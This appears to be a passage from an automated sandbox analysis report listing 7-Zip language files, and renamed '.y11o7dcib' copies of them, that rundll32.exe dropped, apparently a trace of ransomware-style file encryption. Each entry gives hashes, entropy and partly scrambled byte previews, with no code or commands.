C:\Program Files\7-Zip\Lang\ug.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11700
Entropy (8bit):	6.430197991481359
Encrypted:	false
SSDEEP:	192:eelyVi8HapZIKtgIheGOjFQPTnRLVhixOfop//28+S/pVgcD5DjS:TEihpPbXOjCLJVhaa0D+iUcD0
MD5:	DC6CB7864343336C815046CB8CE256F8
SHA1:	73B1204EAD6DA472AEC250B47B9A0E1ED972C716
SHA-256:	D6C6BFF20DC1B25E505B1EDA2733D629969BCB78F4619B6308A6370866C1D33C
SHA-512:	1A9092BFA5E7DD9E6ACEEB5894275AD503E01EEC8FE2DE8904C36589B0D714E603C176F238D69536A1580F04B41C59F1C01F58640CCDA6D2C379E32D225AC4AD
Malicious:	false
Preview:	.(h..V.R.(t&.J5PbX.K..{.Z...*+L%.U_g..""..!#)&,.o[.S.._.........;..0..7-Zip..Uyghur............401............. ...........(&Y).........(&N).....(&C)........JR.%.G....a....t....O.....9J5E0'2.B%..F.....b.....k.[.b.Z.Yd.&A)......... ...(&L).............. ............ ....(&B)....... ....(&F).........J^G.6..p..2...gF.o....R......g...k!....>...@;.Y.`.. Z@........ ... ...........500........(&F)........(&E).........(&V)........(&A)..........{?@9p..2.....)....c...:.f....8Z.V......<...c:$X.`.[..(I....... ...(&I)...... ........ ...(&U).........(&V)........(&E)..... .......(&M)S.......r..1...o.V....N.,..,RE.. .g...R....St...A:?X.`.....(.........(&D)........ .......(&S)......... .........(&B).........(&R).........v..."...r..2......&..N.,......0'.....

C:\Program Files\7-Zip\Lang\ug.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11700
Entropy (8bit):	6.430197991481359
Encrypted:	false
SSDEEP:	192:eelyVi8HapZIKtgIheGOjFQPTnRLVhixOfop//28+S/pVgcD5DjS:TEihpPbXOjCLJVhaa0D+iUcD0
MD5:	DC6CB7864343336C815046CB8CE256F8
SHA1:	73B1204EAD6DA472AEC250B47B9A0E1ED972C716
SHA-256:	D6C6BFF20DC1B25E505B1EDA2733D629969BCB78F4619B6308A6370866C1D33C
SHA-512:	1A9092BFA5E7DD9E6ACEEB5894275AD503E01EEC8FE2DE8904C36589B0D714E603C176F238D69536A1580F04B41C59F1C01F58640CCDA6D2C379E32D225AC4AD
Malicious:	false
Preview:	.(h..V.R.(t&.J5PbX.K..{.Z...*+L%.U_g..""..!#)&,.o[.S.._.........;..0..7-Zip..Uyghur............401............. ...........(&Y).........(&N).....(&C)........JR.%.G....a....t....O.....9J5E0'2.B%..F.....b.....k.[.b.Z.Yd.&A)......... ...(&L).............. ............ ....(&B)....... ....(&F).........J^G.6..p..2...gF.o....R......g...k!....>...@;.Y.`.. Z@........ ... ...........500........(&F)........(&E).........(&V)........(&A)..........{?@9p..2.....)....c...:.f....8Z.V......<...c:$X.`.[..(I....... ...(&I)...... ........ ...(&U).........(&V)........(&E)..... .......(&M)S.......r..1...o.V....N.,..,RE.. .g...R....St...A:?X.`.....(.........(&D)........ .......(&S)......... .........(&B).........(&R).........v..."...r..2......&..N.,......0'.....

C:\Program Files\7-Zip\Lang\uk.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	16076
Entropy (8bit):	6.192875948418797
Encrypted:	false
SSDEEP:	384:ivyYkOfVrmYGLN/nX5LXQP3mKJx681CG5YmPvCY5fE/GxXxFxUPQIEAxODDL:ivdfRonzQPW781xfhTDL
MD5:	97FA93C5F31C2858E4E6306FDBB44C2A
SHA1:	A0B1B0C74A971827BD8A55837E75C4DB905DC98C
SHA-256:	F3D6B3EB5307B4EF9F9149D5EE127D700562EA657918EDDE9F3B6DECF640A8EC
SHA-512:	7A6E8734CB4880CACD744FCD354B2BC14D0D7C1C6FA63F1F592C049D5DAEAD0D6758752D6189299B4155CA5BDCAC54A837B51E40949E3CB66A59EB319D98B6E3
Malicious:	false
Preview:	].gv..5@@..c...;.aJ{Y.IhQ..j3FyX.....T.Z.m..<.:L::..DSS>Ho.#% : Mokiy Mazaylo..; : Sergiy Gontaruk..; : Misha Padalka..; 22.00 : 2022-0...t.uYx[...b...d.3/...RE{..@(kSC...=$O.p.&... ay...MQRZ#:=.............401..OK...................&.....&....&....................&...........=.y.Bs.e '..(U....QD?.......l..Y-......X..@}.................................&.. ........ .......&.. .......... .......&.........b........@J.r(\..MM..?.I..Rh....5k=...#V.P.".nZ..v5......#......... ........?..500..&......&.............&........&............&......1.d.....e(.H.(u......?....1...llL......d..5.H}.Z..x.&......... .&.................. &.......&.............&................&........h....,$.@m.y(^.!...?...:.....V...:..

C:\Program Files\7-Zip\Lang\uk.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	16076
Entropy (8bit):	6.192875948418797
Encrypted:	false
SSDEEP:	384:ivyYkOfVrmYGLN/nX5LXQP3mKJx681CG5YmPvCY5fE/GxXxFxUPQIEAxODDL:ivdfRonzQPW781xfhTDL
MD5:	97FA93C5F31C2858E4E6306FDBB44C2A
SHA1:	A0B1B0C74A971827BD8A55837E75C4DB905DC98C
SHA-256:	F3D6B3EB5307B4EF9F9149D5EE127D700562EA657918EDDE9F3B6DECF640A8EC
SHA-512:	7A6E8734CB4880CACD744FCD354B2BC14D0D7C1C6FA63F1F592C049D5DAEAD0D6758752D6189299B4155CA5BDCAC54A837B51E40949E3CB66A59EB319D98B6E3
Malicious:	false
Preview:	].gv..5@@..c...;.aJ{Y.IhQ..j3FyX.....T.Z.m..<.:L::..DSS>Ho.#% : Mokiy Mazaylo..; : Sergiy Gontaruk..; : Misha Padalka..; 22.00 : 2022-0...t.uYx[...b...d.3/...RE{..@(kSC...=$O.p.&... ay...MQRZ#:=.............401..OK...................&.....&....&....................&...........=.y.Bs.e '..(U....QD?.......l..Y-......X..@}.................................&.. ........ .......&.. .......... .......&.........b........@J.r(\..MM..?.I..Rh....5k=...#V.P.".nZ..v5......#......... ........?..500..&......&.............&........&............&......1.d.....e(.H.(u......?....1...llL......d..5.H}.Z..x.&......... .&.................. &.......&.............&................&........h....,$.@m.y(^.!...?...:.....V...:..

C:\Program Files\7-Zip\Lang\uz-cyrl.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15481
Entropy (8bit):	6.122235693074092
Encrypted:	false
SSDEEP:	384:/kd4norNQB9eY9cQKTviT+pUv4/s/JXxC:4soZQB9escQKTqapUw0vC
MD5:	73F275735E2BC6C6D342AE54044975C6
SHA1:	7AF0C5E4B3F398F621678748F484E7EC51215E59
SHA-256:	D4EA3B112A4824F2349F46BB55AF3FB49A3C5D8CBCD993E5707841C195BBDF56
SHA-512:	0079D9448DBF0557FFE9A2D1639B86EFFF9AFC9118B027AFB89FC0EE9AD6703374426A387D0C6B0B0F54A9983C62973618E05CEE6FEE693157343700859A8D7B
Malicious:	false
Preview:	A.....0..w..YR....U..8.eU.%.z=. .....L.vE.?...GI.om.....C....;..;..;..;..;..;..;..;..;..;..0..7-Zip..Uzbek-Cyrillic...........401........... ..............&....&.......5gd...J...@q....Fo......q\..2...'.R4..3.....>...&.... &.......... &..........................&.......&..... ......&..... ......,/..&.D.v...=V.......P....q...2.".vL.u4....&d~..V.}.KH.?..500..&......&.............&.........&..............&..........&.......540..&.0...ge."....>..+?}.......%4..y..>..ys.p.T..?l.x..v..Lh>..II......&.........&.............&..... ..........&.......... ................./7gb...@.v..A\...... .\....qP...P.[u..>_.x.$'[.,.f.{.GH.....&...... ...........&......... .................&.............&..........~..}d...iG..w..AS..;)...u.6..@. >..R.

C:\Program Files\7-Zip\Lang\uz-cyrl.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15481
Entropy (8bit):	6.122235693074092
Encrypted:	false
SSDEEP:	384:/kd4norNQB9eY9cQKTviT+pUv4/s/JXxC:4soZQB9escQKTqapUw0vC
MD5:	73F275735E2BC6C6D342AE54044975C6
SHA1:	7AF0C5E4B3F398F621678748F484E7EC51215E59
SHA-256:	D4EA3B112A4824F2349F46BB55AF3FB49A3C5D8CBCD993E5707841C195BBDF56
SHA-512:	0079D9448DBF0557FFE9A2D1639B86EFFF9AFC9118B027AFB89FC0EE9AD6703374426A387D0C6B0B0F54A9983C62973618E05CEE6FEE693157343700859A8D7B
Malicious:	false
Preview:	A.....0..w..YR....U..8.eU.%.z=. .....L.vE.?...GI.om.....C....;..;..;..;..;..;..;..;..;..;..0..7-Zip..Uzbek-Cyrillic...........401........... ..............&....&.......5gd...J...@q....Fo......q\..2...'.R4..3.....>...&.... &.......... &..........................&.......&..... ......&..... ......,/..&.D.v...=V.......P....q...2.".vL.u4....&d~..V.}.KH.?..500..&......&.............&.........&..............&..........&.......540..&.0...ge."....>..+?}.......%4..y..>..ys.p.T..?l.x..v..Lh>..II......&.........&.............&..... ..........&.......... ................./7gb...@.v..A\...... .\....qP...P.[u..>_.x.$'[.,.f.{.GH.....&...... ...........&......... .................&.............&..........~..}d...iG..w..AS..;)...u.6..@. >..R.

C:\Program Files\7-Zip\Lang\uz.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9697
Entropy (8bit):	6.6810424234523955
Encrypted:	false
SSDEEP:	192:lx26SLdP0HDMtWRa+atVmiMB1avaUFpCg8pCQoRkfjML3mpFS:lx2FhP0jMtu2miMDavaUFc32Rkfjc3d
MD5:	85BB802944E6670668ACED2E1FB61BAB
SHA1:	45C59705FF0A3EB27D7979D4CE86647AAB3925C3
SHA-256:	5F35FD26AA32FD3ACF67E31D0475A665C99376EEE63A2E4711702465DAF4D2A1
SHA-512:	605EB7A7CBAD399582BE2BCBDF4C6F062F94589FFB1BAC2D0516EE95DB86884D3790669A618E4F39F391AF20410DB8DB048D6D2B9A7E451731917D5B66F2EC2B
Malicious:	false
Preview:	.V....'..PO.*.....w...lL~.(..L.`o...Db.....6\|c.9.}.6n.j4...8 .;..;..;..;..;..;..;..;..;..;..0..7-Zip..Uzbek..O.zbekcha..401..OK..Bekor qilmoq........&Ha..&Yo.q..&Yopmoq..Ko.mak....&Dav..K....7..V;.r^{.......6.].XO...1}....5.......$.m.7p.@?...+I.n..&Fonda..&Fonda emas..&Pauza qilmoq..Pauza qilindi..Bekor qilinsinmi?..500..&Fayl..&Tahrirlamoq..&Ko.rinish..&Tanlanganlar..Y......'..h)....K...,.jL].<a...?,..=,...?=a.8.v.U.......+_.ga ochmoq..&Ko.rinish..&Tahrirlamoq..&Qayta nomlamoq..&Quyidagiga nusxalamoq.....&Quyidagiga ko.chirmoq.....&Olib tashlamoq.u.-..../...>.8T...T.+.x:1.vB...9}.......1l .~e...t.?....>A.r..&Sharh.....Yakuniy summa..Taqqoslamoq..Jild tuzmoq..Fayl tuzmoq..&Dasturdan chiqmoq..Havola..&Muqobil oqimlar..600..&Barini t.......K..}..=.....K.-.9..$.8.#6..T;...S.Z.>.x.7p.d@...+C.amaslik.....Turi bo.yicha tanlamoq..Turi bo.yicha tanlamaslik..700..&Yirik ikonkalarda..&Kichik ikonkalarda..&Ro.yxatsimonr.M..../...c.r^...p.G.?.1.{]...]W...=.

C:\Program Files\7-Zip\Lang\uz.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9697
Entropy (8bit):	6.6810424234523955
Encrypted:	false
SSDEEP:	192:lx26SLdP0HDMtWRa+atVmiMB1avaUFpCg8pCQoRkfjML3mpFS:lx2FhP0jMtu2miMDavaUFc32Rkfjc3d
MD5:	85BB802944E6670668ACED2E1FB61BAB
SHA1:	45C59705FF0A3EB27D7979D4CE86647AAB3925C3
SHA-256:	5F35FD26AA32FD3ACF67E31D0475A665C99376EEE63A2E4711702465DAF4D2A1
SHA-512:	605EB7A7CBAD399582BE2BCBDF4C6F062F94589FFB1BAC2D0516EE95DB86884D3790669A618E4F39F391AF20410DB8DB048D6D2B9A7E451731917D5B66F2EC2B
Malicious:	false
Preview:	.V....'..PO.*.....w...lL~.(..L.`o...Db.....6\|c.9.}.6n.j4...8 .;..;..;..;..;..;..;..;..;..;..0..7-Zip..Uzbek..O.zbekcha..401..OK..Bekor qilmoq........&Ha..&Yo.q..&Yopmoq..Ko.mak....&Dav..K....7..V;.r^{.......6.].XO...1}....5.......$.m.7p.@?...+I.n..&Fonda..&Fonda emas..&Pauza qilmoq..Pauza qilindi..Bekor qilinsinmi?..500..&Fayl..&Tahrirlamoq..&Ko.rinish..&Tanlanganlar..Y......'..h)....K...,.jL].<a...?,..=,...?=a.8.v.U.......+_.ga ochmoq..&Ko.rinish..&Tahrirlamoq..&Qayta nomlamoq..&Quyidagiga nusxalamoq.....&Quyidagiga ko.chirmoq.....&Olib tashlamoq.u.-..../...>.8T...T.+.x:1.vB...9}.......1l .~e...t.?....>A.r..&Sharh.....Yakuniy summa..Taqqoslamoq..Jild tuzmoq..Fayl tuzmoq..&Dasturdan chiqmoq..Havola..&Muqobil oqimlar..600..&Barini t.......K..}..=.....K.-.9..$.8.#6..T;...S.Z.>.x.7p.d@...+C.amaslik.....Turi bo.yicha tanlamoq..Turi bo.yicha tanlamaslik..700..&Yirik ikonkalarda..&Kichik ikonkalarda..&Ro.yxatsimonr.M..../...c.r^...p.G.?.1.{]...]W...=.

C:\Program Files\7-Zip\Lang\va.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6736
Entropy (8bit):	6.561772244443704
Encrypted:	false
SSDEEP:	192:HOXILjBfiCN6vWxwFqTtjjz+3R9Wxn97Amgg39jVbrxS:u4ACN6CwATtD+Ty7p3r/8
MD5:	867C24E18AE72076B00F07195A6C3A97
SHA1:	C272A9E0FC77EF616805A6EF5434A8D595BF9CB2
SHA-256:	11C9222A98141E33766F5A0F24BA6D8E892E9C9DB27DA49FE8938C20FE491D0A
SHA-512:	156380338B8E25284CFCE4ACB22E20492DE01F1E413B0A28DACE7E68F145DF072AC9D8D2B2898EED4377D0822D5F7B37C66FD724A0CDD59238C7A23104B53F45
Malicious:	false
Preview:	.....zy.V.2..x...K..d\wY,.h..?..l3PO<h.~...6.\.).p...\|0S"<2.o Verd...;..;..;..;..;..;..;..;..;..0..7-Zip..Valencian..Valenci...401..Acceptar..Cancel.lar........&Si..&No..Tan&car..Ajuda.U.o....o~...a...a......%H..u._..?..?g;I:.cB.o.....n.-..GHX+.8;.n pla..Primer pla..&Pausa..Parat..Est. segur que vol cancel.lar?..500..&Arxiu..&Editar..&Visualitzar..Favorits..Ferramentes..A5m...../'.n.\.'..P#.6H=Ms.!....va=@!{....X.~...n.>..+0sd(4(.r..Renom&enar..&Copiar a.....&Moure a.....&Suprimir..&Separar fitxer.....Com&binar fitxers.....P&ropietats..Come&ntari..Calcular.{.....nz.n....4.{(.'.6.s.X..5..?utR6l....g.d.q.1.t..u_9D/>5.n&ar-ho tot..Deseleccionar-ho tot..&Invertir selecci...Seleccionar.....No seleccionar.....Seleccionar per tipus..No seleccionar.h...kb.i.$..._..p/.d...{.!....qvn.#l.g..}...0.n.0.,..D8<0.s..730..No ordenat..Vista plana..&2 Taules..&Barres de ferramentes..Obrir directori arrel..Directori pare..Historial de carpetesq6K...ob...g..'..(t..N)+.s._..#.E.}yG<

C:\Program Files\7-Zip\Lang\va.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6736
Entropy (8bit):	6.561772244443704
Encrypted:	false
SSDEEP:	192:HOXILjBfiCN6vWxwFqTtjjz+3R9Wxn97Amgg39jVbrxS:u4ACN6CwATtD+Ty7p3r/8
MD5:	867C24E18AE72076B00F07195A6C3A97
SHA1:	C272A9E0FC77EF616805A6EF5434A8D595BF9CB2
SHA-256:	11C9222A98141E33766F5A0F24BA6D8E892E9C9DB27DA49FE8938C20FE491D0A
SHA-512:	156380338B8E25284CFCE4ACB22E20492DE01F1E413B0A28DACE7E68F145DF072AC9D8D2B2898EED4377D0822D5F7B37C66FD724A0CDD59238C7A23104B53F45
Malicious:	false
Preview:	.....zy.V.2..x...K..d\wY,.h..?..l3PO<h.~...6.\.).p...\|0S"<2.o Verd...;..;..;..;..;..;..;..;..;..0..7-Zip..Valencian..Valenci...401..Acceptar..Cancel.lar........&Si..&No..Tan&car..Ajuda.U.o....o~...a...a......%H..u._..?..?g;I:.cB.o.....n.-..GHX+.8;.n pla..Primer pla..&Pausa..Parat..Est. segur que vol cancel.lar?..500..&Arxiu..&Editar..&Visualitzar..Favorits..Ferramentes..A5m...../'.n.\.'..P#.6H=Ms.!....va=@!{....X.~...n.>..+0sd(4(.r..Renom&enar..&Copiar a.....&Moure a.....&Suprimir..&Separar fitxer.....Com&binar fitxers.....P&ropietats..Come&ntari..Calcular.{.....nz.n....4.{(.'.6.s.X..5..?utR6l....g.d.q.1.t..u_9D/>5.n&ar-ho tot..Deseleccionar-ho tot..&Invertir selecci...Seleccionar.....No seleccionar.....Seleccionar per tipus..No seleccionar.h...kb.i.$..._..p/.d...{.!....qvn.#l.g..}...0.n.0.,..D8<0.s..730..No ordenat..Vista plana..&2 Taules..&Barres de ferramentes..Obrir directori arrel..Directori pare..Historial de carpetesq6K...ob...g..'..(t..N)+.s._..#.E.}yG<

C:\Program Files\7-Zip\Lang\vi.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8829
Entropy (8bit):	6.781406153623547
Encrypted:	false
SSDEEP:	192:nokIj/M65MmRRaqIKwHQFSSz9wffDKbmdseS:nokqMcRa3KwHOMWnp
MD5:	764359CF1EA74A3353831D9FFAB3E2FA
SHA1:	E4E4277A4B43D2730C65AEAC67DE8249ADE60D1A
SHA-256:	01D2B455FC0AD8397120A45FFCB1CBA6EABCE9203896B82C9AE43306E34E7707
SHA-512:	1917E2D53B368BB3C258577593917F33FDB35F4BAAF8E28337B7EA435904CCBDEFAE18DA451F0B3641E8C610161EE13769F131136EA6752723E2870B2D635160
Malicious:	false
Preview:	.3Q..3y-....p/....I.L......N.f.J .b..0....B<H`.......^./..R.2 : : Le Vu Hoang..; 4.48 : : Nguyen Hong Quan..; 9.07 : 2011-04-12 : Vietnamize Team..;..;..;..;..;..;.....~?{..Y.\p...B........2..(DJV..Y>.....=W..Q$E..8mY.G.A.. b.........C...Kh.ng....ng..Gi.p ......Ti.p t.c..440..C. t.t c...Kh.ng t.t c...D.ng..L.m l.i..Ch.q...".[A..X....Uy..ca....y..Lg..:,.....z.T......o._Aq:.l....c ch.n mu.n h.y b.?..500..T.p tin..Bi.n t.p..Xem...a th.ch..C.ng c...Gi.p ....540..M...M. t.i ..y....A.SA>..W.2.+v.._g.2L......~.#Ng..+!..0T4cv@P,. ~m........... ch.p ..n.....Di chuy.n ..n.....Xo...Chia c.t t.p n.n.....N.i t.p n.n.....Thu.c t.nh..Ch. th.ch..T.nh k.....@!.].dS............!i..fW..!b.X..C..../..7.....Ja..(.o.t..600..Ch.n t.t c...B. ch.n t.t c.....o l.a ch.n..Ch.n.....B. ch.n.....Ch.n theo lo.i..B. c`iUw.SA$....>.z..&.s.a..F{P..2...*..

C:\Program Files\7-Zip\Lang\vi.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8829
Entropy (8bit):	6.781406153623547
Encrypted:	false
SSDEEP:	192:nokIj/M65MmRRaqIKwHQFSSz9wffDKbmdseS:nokqMcRa3KwHOMWnp
MD5:	764359CF1EA74A3353831D9FFAB3E2FA
SHA1:	E4E4277A4B43D2730C65AEAC67DE8249ADE60D1A
SHA-256:	01D2B455FC0AD8397120A45FFCB1CBA6EABCE9203896B82C9AE43306E34E7707
SHA-512:	1917E2D53B368BB3C258577593917F33FDB35F4BAAF8E28337B7EA435904CCBDEFAE18DA451F0B3641E8C610161EE13769F131136EA6752723E2870B2D635160
Malicious:	false
Preview:	.3Q..3y-....p/....I.L......N.f.J .b..0....B<H`.......^./..R.2 : : Le Vu Hoang..; 4.48 : : Nguyen Hong Quan..; 9.07 : 2011-04-12 : Vietnamize Team..;..;..;..;..;..;.....~?{..Y.\p...B........2..(DJV..Y>.....=W..Q$E..8mY.G.A.. b.........C...Kh.ng....ng..Gi.p ......Ti.p t.c..440..C. t.t c...Kh.ng t.t c...D.ng..L.m l.i..Ch.q...".[A..X....Uy..ca....y..Lg..:,.....z.T......o._Aq:.l....c ch.n mu.n h.y b.?..500..T.p tin..Bi.n t.p..Xem...a th.ch..C.ng c...Gi.p ....540..M...M. t.i ..y....A.SA>..W.2.+v.._g.2L......~.#Ng..+!..0T4cv@P,. ~m........... ch.p ..n.....Di chuy.n ..n.....Xo...Chia c.t t.p n.n.....N.i t.p n.n.....Thu.c t.nh..Ch. th.ch..T.nh k.....@!.].dS............!i..fW..!b.X..C..../..7.....Ja..(.o.t..600..Ch.n t.t c...B. ch.n t.t c.....o l.a ch.n..Ch.n.....B. ch.n.....Ch.n theo lo.i..B. c`iUw.SA$....>.z..&.s.a..F{P..2...*..

C:\Program Files\7-Zip\Lang\yo.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11278
Entropy (8bit):	6.783174352034774
Encrypted:	false
SSDEEP:	192:WQK6acrbxEySiNmYKuckF2NI0nxePEpqseJ60ou3xsv6mDgixPX54zKhOR6KZDQM:QASoGxeiOjd3xx3zUE6e
MD5:	642C44C0DFE64DA52F621EFD98004A03
SHA1:	2A11289EF29BA2880C17580840F68163A6B5D73D
SHA-256:	A1B4BBAF593BC7BBA583AE9D0AD7FD017DC839230DD551DEDF26CE5605B89675
SHA-512:	CB11232B2F97A50FA6EDEABACFC7DBA00899639D7C6AA54DFA505F944F01529CCBB7612EDEDCEE93B6A8D6CAE074F08FCF0A14BDA30D01107CF4D40EE92B9F96
Malicious:	false
Preview:	......m....7p5krH"....TA.....m.x.gn..<..*=#..b.-.8;N%.Rdc~.G.'...;..;..;..;..;..;..;..0..7-Zip..Yoruba..Yoruba..401..O DAA..Pa re........&B..ni..&B..k...&P.d....r.nl.w.....&.r>]...g......Guv-..8.."...5.3.:c..~...0q...........u\.X. &gbogbo ...D.r.....t.nb..r....&...h.n-.gb.h.n..&Oj.-.gb.h.n..&D.d.r....d.r....e . d.j. pe 6........u.`.}}+.0...?.QA..,..=`..=N..H.....\|s....6..I.y/...4 .&Irin.....&.r.nl.w...540..&.i...i &si .n....i &si .ta..&.w...&Tunk...&Tun oruk. k...&...d. si.....K...c.<._s#GudI..@k..#...J..u.5...u..MR[..4....R....x...+A. k.p.......&.b.d...&.r. .w.ye......e i.iro checksum...y.t....D. .p. fa.li sil....D. fa.li sil......T0.64R.u....)x.o..nWw._N.\|.2.51.x......t=.=.K........;....gbogbo fa.li..Paa ...y.n gbogbo fa.li..&Yi ...y.n Pad......y.n.....Paa ...y.n........y.n bi ir. fa.z...g..>.u.M........P.D.\....=`..=N..,.

C:\Program Files\7-Zip\Lang\yo.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11278
Entropy (8bit):	6.783174352034774
Encrypted:	false
SSDEEP:	192:WQK6acrbxEySiNmYKuckF2NI0nxePEpqseJ60ou3xsv6mDgixPX54zKhOR6KZDQM:QASoGxeiOjd3xx3zUE6e
MD5:	642C44C0DFE64DA52F621EFD98004A03
SHA1:	2A11289EF29BA2880C17580840F68163A6B5D73D
SHA-256:	A1B4BBAF593BC7BBA583AE9D0AD7FD017DC839230DD551DEDF26CE5605B89675
SHA-512:	CB11232B2F97A50FA6EDEABACFC7DBA00899639D7C6AA54DFA505F944F01529CCBB7612EDEDCEE93B6A8D6CAE074F08FCF0A14BDA30D01107CF4D40EE92B9F96
Malicious:	false
Preview:	......m....7p5krH"....TA.....m.x.gn..<..*=#..b.-.8;N%.Rdc~.G.'...;..;..;..;..;..;..;..0..7-Zip..Yoruba..Yoruba..401..O DAA..Pa re........&B..ni..&B..k...&P.d....r.nl.w.....&.r>]...g......Guv-..8.."...5.3.:c..~...0q...........u\.X. &gbogbo ...D.r.....t.nb..r....&...h.n-.gb.h.n..&Oj.-.gb.h.n..&D.d.r....d.r....e . d.j. pe 6........u.`.}}+.0...?.QA..,..=`..=N..H.....\|s....6..I.y/...4 .&Irin.....&.r.nl.w...540..&.i...i &si .n....i &si .ta..&.w...&Tunk...&Tun oruk. k...&...d. si.....K...c.<._s#GudI..@k..#...J..u.5...u..MR[..4....R....x...+A. k.p.......&.b.d...&.r. .w.ye......e i.iro checksum...y.t....D. .p. fa.li sil....D. fa.li sil......T0.64R.u....)x.o..nWw._N.\|.2.51.x......t=.=.K........;....gbogbo fa.li..Paa ...y.n gbogbo fa.li..&Yi ...y.n Pad......y.n.....Paa ...y.n........y.n bi ir. fa.z...g..>.u.M........P.D.\....=`..=N..,.

C:\Program Files\7-Zip\Lang\zh-cn.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8581
Entropy (8bit):	7.116442751738763
Encrypted:	false
SSDEEP:	192:jqENnncmxUoLXWmMm4l9poIYzOIw1Ne941JPnzyTE3/3DIZksllJTtqeUYS:+mnnc+Uoy43u1NpJryobyllJTIem
MD5:	5F5D84278A064DCDBA5972E722D305AF
SHA1:	C5C8905196F3400EE3BDE991133A27A0EC408724
SHA-256:	5489AB0948CCDE60CE53E30E8774E3E3CFFB76FDDBFE2F3F5346C51E3396A7FC
SHA-512:	0F276CE88ED0C1BE992A43C6EA940343A1244B3CFD4B7001763E2E5B0AECE95D22C654F31A3850AD23EFF7AE225EAB89DB1FEEC9DD0EED054A8169AC5DF74C17
Malicious:	false
Preview:	uF..+.c..h/\'.Z..f..sb.[JB,uL.....=...q....~:..;%.......'..tu Li..; 3.08 : 2003-08-29 : Tunghsiao Liu..; 22.00 : 2022-06-09 : Tunghsiao Liu..;..;..;..;..;..;..;..;..0..7-Zip..Chinese Sim>....(.).&...Z.....We.J}h....+&...Sx&.A.`..Y.UX.........k%..SN)....(&C)..........(&C)..440....(&A)....(&L)..............(&B)....(&F)....(&P).....\IDmA..l ....$.N...?..........=..&.N .A$r.q_Hv.B..........(&V)....(&A)....(&T)....(&H)..540....(&O)........(&I)........(&U)....(&V)..........A..i...........W..........#...[.c....`..j.8......k=...(&D)......(&S).........(&B).......(&R)....(&N)............................,q.n.T..1X...5....P[.......5Z$2.io.w..g.:d.UX...=.,.............(&I)..........................................700...........A..^...........W....mZg...t.z.{

C:\Program Files\7-Zip\Lang\zh-cn.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8581
Entropy (8bit):	7.116442751738763
Encrypted:	false
SSDEEP:	192:jqENnncmxUoLXWmMm4l9poIYzOIw1Ne941JPnzyTE3/3DIZksllJTtqeUYS:+mnnc+Uoy43u1NpJryobyllJTIem
MD5:	5F5D84278A064DCDBA5972E722D305AF
SHA1:	C5C8905196F3400EE3BDE991133A27A0EC408724
SHA-256:	5489AB0948CCDE60CE53E30E8774E3E3CFFB76FDDBFE2F3F5346C51E3396A7FC
SHA-512:	0F276CE88ED0C1BE992A43C6EA940343A1244B3CFD4B7001763E2E5B0AECE95D22C654F31A3850AD23EFF7AE225EAB89DB1FEEC9DD0EED054A8169AC5DF74C17
Malicious:	false
Preview:	uF..+.c..h/\'.Z..f..sb.[JB,uL.....=...q....~:..;%.......'..tu Li..; 3.08 : 2003-08-29 : Tunghsiao Liu..; 22.00 : 2022-06-09 : Tunghsiao Liu..;..;..;..;..;..;..;..;..0..7-Zip..Chinese Sim>....(.).&...Z.....We.J}h....+&...Sx&.A.`..Y.UX.........k%..SN)....(&C)..........(&C)..440....(&A)....(&L)..............(&B)....(&F)....(&P).....\IDmA..l ....$.N...?..........=..&.N .A$r.q_Hv.B..........(&V)....(&A)....(&T)....(&H)..540....(&O)........(&I)........(&U)....(&V)..........A..i...........W..........#...[.c....`..j.8......k=...(&D)......(&S).........(&B).......(&R)....(&N)............................,q.n.T..1X...5....P[.......5Z$2.io.w..g.:d.UX...=.,.............(&I)..........................................700...........A..^...........W....mZg...t.z.{

C:\Program Files\7-Zip\Lang\zh-tw.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8668
Entropy (8bit):	7.088120177335737
Encrypted:	false
SSDEEP:	192:ng5RTO2JQeMBqXBfFwk2pEuwT0/9D9iKhcOdX47AJmHnniRa18XWi0FmcyyS:GRTbJQWIk2py+DgMX43nnP8XMM9l
MD5:	BE6F3301E94A152C05802380797FE474
SHA1:	276F75141EAA3D17F6F18B124FAB4EE736655640
SHA-256:	C74CD32611A4AE1EA6B09566763D5B78E6CA49CB592070C061ED32AA0D4F1A5F
SHA-512:	052700FFADD15EF4D0A948E0B6C3785091D70218996D0D12C8D0F6C739F018B18374BD821902D412277B574FED7767CC5D53E0515774276571B38C0EA95F7ECC
Malicious:	false
